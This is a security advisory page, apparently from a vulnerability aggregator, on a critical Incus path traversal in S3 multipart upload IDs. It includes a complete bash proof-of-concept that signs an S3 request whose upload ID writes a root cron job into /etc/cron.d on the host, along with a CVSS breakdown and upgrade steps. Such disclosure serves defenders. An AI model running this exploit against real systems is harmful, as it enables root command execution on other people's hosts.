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CRITICAL

Incus has an arbitrary file write via path traversal in S3 multipart upload

Published June 26, 2026Updated July 7, 2026Source: osv

Summary

## Summary The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. In `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33 ## PoC ### Setup ``` # Expose the S3 API and create a bucket incus config set core.storage_buckets_address=:8555 incus storage volume create default bucket #> note the credentials ``` ### Exploitation The below script was mostly generated. ``` #!/usr/bin/env bash set -euo pipefail if [ $# -lt 4 ]; then printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2 exit 1 fi endpoint="${1%/}" bucket="${2}" access="${3}" secret="${4}" region="us-east-1" service="s3" key="anything" part="1" upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d" target="/etc/cron.d/part-00001" cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target" body="* * * * * root /bin/sh -c '$cmd' " uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key" uri_path="${uri_path#/}" uri_path="/$uri_path" host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')" qs="partNumber=$part&uploadId=${upload_id//\//%2F}" url="$endpoint/$bucket/$key?$qs" amz_date=$(date -u +%Y%m%dT%H%M%SZ) date_scope="${amz_date:0:8}" scope="$date_scope/$region/$service/aws4_request" body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}') signed="host;x-amz-content-sha256;x-amz-date" canonical="PUT $uri_path $qs host:$host x-amz-content-sha256:$body_hash x-amz-date:$amz_date $signed $body_hash" canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')" string_to_sign="AWS4-HMAC-SHA256 $amz_date $scope $canonical_hash" hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256 } k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256) k_date=$(hmac_hex "$k_date" "$date_scope") k_region=$(hmac_hex "$k_date" "$region") k_service=$(hmac_hex "$k_region" "$service") k_signing=$(hmac_hex "$k_service" "aws4_request") sig=$(hmac_hex "$k_signing" "$string_to_sign") auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}" printf '# body:\n%s' "${body}" curl -ksS -X PUT "${url}" \ -H "Host: ${host}" \ -H "X-Amz-Date: ${amz_date}" \ -H "X-Amz-Content-Sha256: ${body_hash}" \ -H "Authorization: ${auth}" \ --data-binary "${body}" ``` ## Impact Arbitrary file write on the host. Possibly leading to arbitrary command execution.

Advisory Timeline

  • First published June 26, 2026 (108 days ago).
  • Last revised July 7, 2026 — 11 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/lxc/incus/v7/cmd/incusd to 7.1.0 or later
go get github.com/lxc/incus/v7/cmd/incusd@v7.1.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/lxc/incus/v7/cmd/incusd
go
All versions7.1.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-48753?
Incus has an arbitrary file write via path traversal in S3 multipart upload This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.9/10).
How do I check if my project is affected by CVE-2026-48753?
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Severity & Exploitability

CVSS Score
9.9

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-ccjc-4qc3-jxqc
GO-2026-5802

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